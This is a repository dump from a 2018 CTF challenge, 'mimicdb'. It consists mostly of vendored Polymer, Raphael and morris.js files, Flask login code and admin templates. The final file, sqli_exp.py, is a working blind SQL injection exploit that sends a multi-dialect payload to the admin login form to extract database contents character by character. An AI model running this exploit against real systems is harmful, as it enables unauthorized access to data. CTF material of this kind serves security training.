https://raw.githubusercontent.com/beched/ctf/c6288c4e371eace11fa9d23715ef1000fbb652cb/2018/wctf-belluminar/mimicdb/server/bower_components/morrisjs/spec/viz/exemplary/stacked_bar0.png -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/morrisjs/spec/viz/run.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | # visual_specs.js creates output in output/XXX.png 4 | phantomjs visual_specs.js 5 | 6 | # clear out old diffs 7 | mkdir -p diff 8 | rm -f diff/* 9 | 10 | # generate diffs 11 | PASS=1 12 | for i in exemplary/*.png 13 | do 14 | FN=`basename $i` 15 | perceptualdiff $i output/$FN -output diff/$FN 16 | if [ $? -eq 0 ] 17 | then 18 | echo "OK: $FN" 19 | else 20 | echo "FAIL: $FN" 21 | PASS=0 22 | fi 23 | done 24 | 25 | # pass / fail 26 | if [ $PASS -eq 1 ] 27 | then 28 | echo "Success." 29 | else 30 | echo "Failed." 31 | exit 1 32 | fi 33 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/polymer/bower.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "polymer", 3 | "description": "Polymer is a new type of library for the web, built on top of Web Components, and designed to leverage the evolving web platform on modern browsers.", 4 | "homepage": "http://www.polymer-project.org/", 5 | "keywords": [ 6 | "util", 7 | "client", 8 | "browser", 9 | "web components", 10 | "web-components" 11 | ], 12 | "author": "Polymer Authors ", 13 | "private": true, 14 | "dependencies": { 15 | "core-component-page": "Polymer/core-component-page#^0.5", 16 | "webcomponentsjs": "^0.6.0" 17 | }, 18 | "devDependencies": { 19 | "tools": "Polymer/tools#master", 20 | "web-component-tester": "*" 21 | }, 22 | "version": "0.5.6" 23 | } -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/polymer/explainer/data-bind.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/beched/ctf/c6288c4e371eace11fa9d23715ef1000fbb652cb/2018/wctf-belluminar/mimicdb/server/bower_components/polymer/explainer/data-bind.png -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/polymer/explainer/data-bind.vsdx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/beched/ctf/c6288c4e371eace11fa9d23715ef1000fbb652cb/2018/wctf-belluminar/mimicdb/server/bower_components/polymer/explainer/data-bind.vsdx -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/polymer/polymer.html: -------------------------------------------------------------------------------- 1 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/polymer/src/lib/bind/demo/app-chrome.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Bind Test 6 | 7 | 8 | 9 | 10 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 |

24 | 
25 |   

26 | 
27 | 
28 | 
29 | 


--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/polymer/src/lib/bind/demo/app.html:
--------------------------------------------------------------------------------
 1 | 
 2 | 
 3 | 
 4 | 
 5 |   Bind Test
 6 | 
 7 |   
 8 |   
 9 | 
10 |   
11 | 
12 |   
18 | 
19 |   
20 |   
21 | 
22 | 
23 | 
24 | 
25 |   

26 |   

27 | 
28 | 
29 | 
30 | 


--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/polymer/src/lib/expr/focus.html:
--------------------------------------------------------------------------------
 1 | 
10 | 
23 | 


--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/polymer/src/lib/expr/gestures.html:
--------------------------------------------------------------------------------
1 | 
2 | 


--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/polymer/src/lib/expr/log.html:
--------------------------------------------------------------------------------
 1 | 
10 | 
22 | 


--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/polymer/src/lib/lang.html:
--------------------------------------------------------------------------------
 1 | 
10 | 
22 | 


--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/polymer/src/polymer-lib.html:
--------------------------------------------------------------------------------
 1 | 
10 | 
11 | 
12 | 
13 | 
14 | 
15 | 
16 | 


--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/polymer/test/assets/Beaker2.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/beched/ctf/c6288c4e371eace11fa9d23715ef1000fbb652cb/2018/wctf-belluminar/mimicdb/server/bower_components/polymer/test/assets/Beaker2.jpg


--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/polymer/test/assets/test-style-path.html:
--------------------------------------------------------------------------------
 1 | 
10 | 
15 | 


--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/polymer/test/smoke/style-path-smoke.html:
--------------------------------------------------------------------------------
 1 | 
10 | 
11 | 
12 | 
13 | 
14 | 
15 | 


--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/polymer/test/unit/dynamic-imports/inner-element.html:
--------------------------------------------------------------------------------
 1 | 
 2 | 
11 | 
12 | 
13 | 
14 | 
15 |   
18 | 
19 | 
20 | 


--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/polymer/test/unit/ready.js:
--------------------------------------------------------------------------------
 1 | suite('ready', function() {
 2 | 
 3 |   var configure = ['x-ready', 'x-zot#a', 'x-zot#b', 'x-zot#c', 'x-zot#d', 'x-foo#foo', 'x-bar#bar1', 'x-zot', 'x-bar#bar2', 'x-zot'];
 4 |   var ready = ['x-zot#a', 'x-zot#b', 'x-zot#c', 'x-zot#d', 'x-zot', 'x-bar#bar1', 'x-zot', 'x-bar#bar2', 'x-foo#foo', 'x-ready'];
 5 | 
 6 |   test('element create in dom calls configure/ready/attached in proper order', function() {
 7 |     assert.deepEqual(configureList, configure);
 8 |     assert.deepEqual(readyList, ready);
 9 |   });
10 | 
11 |   test('element create + attach calls configure/ready/attached in proper order', function() {
12 |     clearTestLists();
13 |     document.body.appendChild(document.createElement('x-ready'));
14 |     CustomElements.takeRecords(document);
15 |     assert.deepEqual(configureList, configure);
16 |     assert.deepEqual(readyList, ready);
17 |   });
18 | 
19 | });
20 | 


--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/polymer/test/unit/styling-remote-module-sheet.html:
--------------------------------------------------------------------------------
 1 | 
 2 |   
11 | 


--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/polymer/test/unit/styling-remote-sheet.css:
--------------------------------------------------------------------------------
 1 | :host {
 2 |   display: block;
 3 |   border: 1px solid orange;
 4 | }
 5 | 
 6 | :host(.wide) {
 7 |   border-width: 2px;
 8 | }
 9 | 
10 | .container1 > ::content > .content1 {
11 |   border: 13px solid navy;
12 | }
13 | 
14 | .container2 > ::content .content2 {
15 |   border: 14px solid navy;
16 | }
17 | 
18 | .computed {
19 |   border: 15px solid orange;
20 | }
21 | 


--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/polymer/test/unit/template-elements.html:
--------------------------------------------------------------------------------
 1 | 
 2 | 
 7 | 
 8 | 
 9 | 
10 | 
11 |   
12 | 
13 | 
14 | 
15 | 


--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/raphael/bower.json:
--------------------------------------------------------------------------------
 1 | {
 2 |   "name": "raphael",
 3 |   "main": "raphael.min.js",
 4 |   "description": "JavaScript Vector Library",
 5 |   "dependencies": {
 6 |     "eve-raphael": "0.5.0"
 7 |   },
 8 |   "devDependencies": {
 9 |     "requirejs": "2.3.2"
10 |   },
11 |   "moduleType": [
12 |     "amd",
13 |     "globals",
14 |     "node"
15 |   ],
16 |   "keywords": ["svg", "vml", "javascript"],
17 |   "authors": [
18 |     "Dmitry Baranovskiy"
19 |   ],
20 |   "license": "MIT",
21 |   "ignore": [
22 |     "**/.*",
23 |     "*.html",
24 |     "*.json",
25 |     "*.markdown",
26 |     "*.md",
27 |     "copy.js",
28 |     "Gruntfile.js",
29 |     "reference.js"
30 |   ]
31 | }
32 | 


--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/raphael/dev/banner.txt:
--------------------------------------------------------------------------------
1 | // ┌───────────────────────────────────────────────────────────────────────────────────────────────────────┐ \\
2 | // │ Raphaël 2.2.0 - JavaScript Vector Library                                                             │ \\
3 | // ├───────────────────────────────────────────────────────────────────────────────────────────────────────┤ \\
4 | // │ Copyright © 2008-2016 Dmitry Baranovskiy (http://raphaeljs.com)                                       │ \\
5 | // │ Copyright © 2008-2016 Sencha Labs (http://sencha.com)                                                 │ \\
6 | // ├───────────────────────────────────────────────────────────────────────────────────────────────────────┤ \\
7 | // │ Licensed under the MIT (https://github.com/DmitryBaranovskiy/raphael/blob/master/license.txt) license.│ \\
8 | // └───────────────────────────────────────────────────────────────────────────────────────────────────────┘ \\
9 | 


--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/raphael/dev/raphael.amd.js:
--------------------------------------------------------------------------------
1 | define(["./raphael.core", "./raphael.svg", "./raphael.vml"], function(R) {
2 | 
3 |     return R;
4 | 
5 | });


--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/raphael/dev/test/vml/dom.js:
--------------------------------------------------------------------------------
1 | (function() {
2 | 
3 | module('DOM');
4 | 
5 | })();


--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/webcomponentsjs/.bower.json:
--------------------------------------------------------------------------------
 1 | {
 2 |   "name": "webcomponentsjs",
 3 |   "main": "webcomponents.js",
 4 |   "version": "0.5.5",
 5 |   "homepage": "http://webcomponents.org",
 6 |   "authors": [
 7 |     "The Polymer Authors"
 8 |   ],
 9 |   "keywords": [
10 |     "webcomponents"
11 |   ],
12 |   "license": "BSD",
13 |   "ignore": [],
14 |   "_release": "0.5.5",
15 |   "_resolution": {
16 |     "type": "version",
17 |     "tag": "0.5.5",
18 |     "commit": "46f8f2665f7b91e3f248bc9bdb20a29b91f921b5"
19 |   },
20 |   "_source": "https://github.com/Polymer/webcomponentsjs.git",
21 |   "_target": "*",
22 |   "_originalSource": "Polymer/webcomponentsjs"
23 | }


--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/webcomponentsjs/bower.json:
--------------------------------------------------------------------------------
 1 | {
 2 |   "name": "webcomponentsjs",
 3 |   "main": "webcomponents.js",
 4 |   "version": "0.5.5",
 5 |   "homepage": "http://webcomponents.org",
 6 |   "authors": [
 7 |     "The Polymer Authors"
 8 |   ],
 9 |   "keywords": [
10 |     "webcomponents"
11 |   ],
12 |   "license": "BSD",
13 |   "ignore": []
14 | }


--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/webcomponentsjs/package.json:
--------------------------------------------------------------------------------
 1 | {
 2 |   "name": "webcomponents.js",
 3 |   "version": "0.5.5",
 4 |   "description": "webcomponents.js",
 5 |   "main": "webcomponents.js",
 6 |   "directories": {
 7 |     "test": "tests"
 8 |   },
 9 |   "repository": {
10 |     "type": "git",
11 |     "url": "https://github.com/webcomponents/webcomponentsjs.git"
12 |   },
13 |   "author": "The Polymer Authors",
14 |   "license": {
15 |     "type": "BSD-3-Clause",
16 |     "url": "http://polymer.github.io/LICENSE.txt"
17 |   },
18 |   "bugs": {
19 |     "url": "https://github.com/webcomponents/webcomponentsjs/issues"
20 |   },
21 |   "homepage": "http://webcomponents.org",
22 |   "devDependencies": {
23 |     "gulp": "^3.8.8",
24 |     "gulp-audit": "^1.0.0",
25 |     "gulp-concat": "^2.4.1",
26 |     "gulp-header": "^1.1.1",
27 |     "gulp-uglify": "^1.0.1",
28 |     "run-sequence": "^1.0.1",
29 |     "web-component-tester": "*"
30 |   }
31 | }
32 | 


--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/config.py:
--------------------------------------------------------------------------------
 1 | try:
 2 | 	import MySQLdb
 3 | except:
 4 | 	import pymysql as MySQLdb
 5 | import os
 6 | import psycopg2
 7 | import pymssql
 8 | import sqlite3
 9 | 
10 | # 不好意思,DB_CONNECTIONS has to be reinitialized, hence defined in user.py
11 | 
12 | TERMINAL_TOKENS = {
13 | 	'psql': ["'", '$$'],
14 | 	'mssql': ["'"]
15 | }
16 | 


--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/loginform.py:
--------------------------------------------------------------------------------
 1 | from hashlib import md5
 2 | 
 3 | from wtforms import form, fields, validators
 4 | from user import User
 5 | 
 6 | 
 7 | # Define login and registration forms (for flask-login)
 8 | class LoginForm(form.Form):
 9 |     username = fields.TextField(validators=[validators.required()])
10 |     password = fields.PasswordField(validators=[validators.required()])
11 | 
12 |     def validate_username(self, field):
13 |         user = self.get_user()
14 | 
15 |         if user is None:
16 |             raise validators.ValidationError('Invalid user')
17 | 
18 |         if user.password != md5(self.password.data).hexdigest():
19 |             raise validators.ValidationError('Invalid password')
20 | 
21 |     def get_user(self):
22 |         return User.get(self.username.data)


--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/requirements.txt:
--------------------------------------------------------------------------------
1 | Flask
2 | Flask-Admin
3 | Flask-Login
4 | MySQLdb
5 | psycopg2
6 | pymssql


--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/run.bat:
--------------------------------------------------------------------------------
1 | :restart
2 | copy app.py.orig app.py
3 | .\app.py
4 | goto restart
5 | 


--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/templates/sb-admin/macros/dashboard/counticon.html:
--------------------------------------------------------------------------------
 1 | {% macro count_icon(count, title, icontype, color, url) %}
 2 | 
3 |
4 |
5 |
6 | 7 |
8 |
9 |
{{count}}
10 |
{{title}}
11 |
12 |
13 |
14 | 15 | 20 | 21 |
22 | {% endmacro %} -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/templates/sb-admin/macros/dashboard/donut.html: -------------------------------------------------------------------------------- 1 | {% macro donut(title) %} 2 |
3 |
4 | {{title}} 5 |
6 |
7 |
8 | View Details 9 |
10 | 11 |
12 | {% endmacro %} -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/templates/sb-admin/macros/flot/barchart.html: -------------------------------------------------------------------------------- 1 | {% macro flot_bar_chart(header) %} 2 | 3 |
4 |
5 | {{ header }} 6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 | 14 | {% endmacro %} -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/templates/sb-admin/macros/flot/linechart.html: -------------------------------------------------------------------------------- 1 | {% macro flot_line_chart(header) %} 2 |
3 |
4 | {{ header }} 5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 | {% endmacro %} -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/templates/sb-admin/macros/flot/movinglinechart.html: -------------------------------------------------------------------------------- 1 | {% macro flot_movingline_chart(header) %} 2 |
3 |
4 | {{ header }} 5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 | {% endmacro %} -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/templates/sb-admin/macros/flot/multiaxeschart.html: -------------------------------------------------------------------------------- 1 | {% macro flot_multiaxes_chart(header) %} 2 |
3 |
4 | {{header}} 5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 | {% endmacro %} -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/templates/sb-admin/macros/flot/piechart.html: -------------------------------------------------------------------------------- 1 | {% macro flot_pie_chart(header) %} 2 |
3 |
4 | {{header}} 5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 | {% endmacro %} -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/templates/sb-admin/macros/morris/areachart.html: -------------------------------------------------------------------------------- 1 | {% macro area_chart(header) %} 2 |
3 |
4 | {{header}} 5 |
6 |
7 |
8 |
9 |
10 | {% endmacro %} -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/templates/sb-admin/macros/morris/barchart.html: -------------------------------------------------------------------------------- 1 | {% macro bar_chart(header) %} 2 |
3 |
4 | {{header}} 5 |
6 |
7 |
8 |
9 |
10 | {% endmacro %} -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/templates/sb-admin/macros/morris/donutchart.html: -------------------------------------------------------------------------------- 1 | 2 | {% macro donut_chart(header) %} 3 |
4 |
5 | {{header}} 6 |
7 |
8 |
9 |
10 |
11 | {% endmacro %} -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/templates/sb-admin/macros/morris/linechart.html: -------------------------------------------------------------------------------- 1 | {% macro line_chart(header) %} 2 |
3 |
4 | {{header}} 5 |
6 |
7 |
8 |
9 |
10 | {% endmacro %} -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/templates/sb-admin/macros/navlink.html: -------------------------------------------------------------------------------- 1 | {% macro nav_link(name, url, active) %} 2 |
  • 3 | {% if name == active %} 4 | {{ name }} 5 | {% else %} 6 | {{ name }} 7 | {% endif %} 8 |
  • 9 | {% endmacro %} -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/templates/sb-admin/macros/topnav/alert.html: -------------------------------------------------------------------------------- 1 | {% macro alert(title, type, time, url) %} 2 | 3 |
    4 | {{title}} 5 | {{time}} minutes ago 6 |
    7 |
    8 | {% endmacro %} -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/templates/sb-admin/macros/topnav/messagesummary.html: -------------------------------------------------------------------------------- 1 | {% macro message_summary(receivedon, from, text, url)%} 2 |
  • 3 | 4 |
    5 | {{from}} 6 | 7 | {{receivedon}} 8 | 9 |
    10 |
    {{text}}
    11 |
    12 |
  • 13 | {% endmacro %} -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/templates/sb-admin/macros/topnav/tasksummary.html: -------------------------------------------------------------------------------- 1 | {% macro task_summary(name, type, completed, url) %} 2 | 3 |
    4 |

    5 | {{name}} 6 | {{completed}}% Complete 7 |

    8 |
    9 |
    10 | {{completed}}% Complete ({{type}}) 11 |
    12 |
    13 |
    14 |
    15 | {% endmacro %} -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/templates/sb-admin/macros/ui/notifications/alert.html: -------------------------------------------------------------------------------- 1 | {% macro alert(type, text) %} 2 |
    3 | {{text|safe}} 4 |
    5 | {% endmacro %} -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/templates/sb-admin/macros/ui/notifications/dismissablealert.html: -------------------------------------------------------------------------------- 1 | {% macro dismissable_alert(type, text) %} 2 |
    3 | 4 | {{text|safe}} 5 |
    6 | {% endmacro %} -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/templates/sb-admin/macros/ui/panels/accordion.html: -------------------------------------------------------------------------------- 1 | {% macro accordion(header, items) %} 2 |
    3 |
    4 | {{header}} 5 |
    6 |
    7 |
    8 | {% for item in items %} 9 | {% set id="collapse" + loop.index|string %} 10 | {% set in="" %} 11 | {% if loop.index == 1 %} 12 | {% set in="in" %} 13 | {% endif %} 14 |
    15 |
    16 |

    17 | {{item.header}} 18 |

    19 |
    20 |
    21 |
    22 | {{item.text}} 23 |
    24 |
    25 |
    26 | {% endfor %} 27 |
    28 |
    29 |
    30 | {% endmacro %} -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/templates/sb-admin/macros/ui/panels/panel.html: -------------------------------------------------------------------------------- 1 | {% macro panel(paneltype, header, text, footer) %} 2 |
    3 |
    4 | {{header}} 5 |
    6 |
    7 |

    {{text}}

    8 |
    9 | 12 |
    13 | {% endmacro %} -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/templates/sb-admin/macros/ui/panels/well.html: -------------------------------------------------------------------------------- 1 | {% macro well(type, title, text) %} 2 |
    3 |

    {{title}}

    4 |

    {{text}}

    5 |
    6 | {% endmacro %} -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/templates/sb-admin/master.html: -------------------------------------------------------------------------------- 1 | {% from "sb-admin/nav.html" import nav_bar with context %} 2 | {% extends 'sb-admin/base.html' %} 3 | 4 | {% block page_body %} 5 | 6 |
    7 | 8 | {{nav_bar(admin_view.header)}} 9 | 10 |
    11 |
    12 |
    13 |

    {{admin_view.header}}

    14 |
    15 | 16 |
    17 | {% block body %}{% endblock %} 18 |
    19 |
    20 | {% endblock %} -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/templates/sb-admin/pages/blank.html: -------------------------------------------------------------------------------- 1 | 2 | {% extends "sb-admin/master.html" %} 3 | 4 | {% block body %} 5 | {% endblock %} -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/templates/sb-admin/pages/dashboard.html: -------------------------------------------------------------------------------- 1 | 2 | {% extends "sb-admin/master.html" %} 3 | 4 | 5 | {% block body %} 6 | 7 | 8 | 9 | {% endblock %} -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/templates/sb-admin/redirect.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | Please load admin page. 9 | 10 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/sqli_exp.py: -------------------------------------------------------------------------------- 1 | import requests 2 | 3 | target = '192.168.23.130:5000' 4 | 5 | payload = '''" or 1=1# $$ or 1=1 -- ' or ascii(substring((%s),%s,1))>%s -- a''' 6 | query = "select host_name()" 7 | 8 | query = "select routine_definition from master.information_schema.routines where routine_name='sp_logEvent'" 9 | 10 | s = requests.Session() 11 | 12 | res = '' 13 | for i in xrange(1, 100): 14 | l, r = 0, 128 15 | while l < r - 1: 16 | m = (l + r) / 2 17 | u = payload % (query, i, m) 18 | t = max([('Invalid password' in s.post('http://%s/admin/login/' % target, data={'username': u, 'password': 'asd'}, headers={'Content-Type': 'application/x-www-form-urlencoded'}).text) for _ in xrange(15)]) 19 | print l, r, t, u 20 | if t == False: 21 | r = m 22 | else: 23 | l = m 24 | res += chr(r) 25 | print 'NOW', res 26 | 27 | --------------------------------------------------------------------------------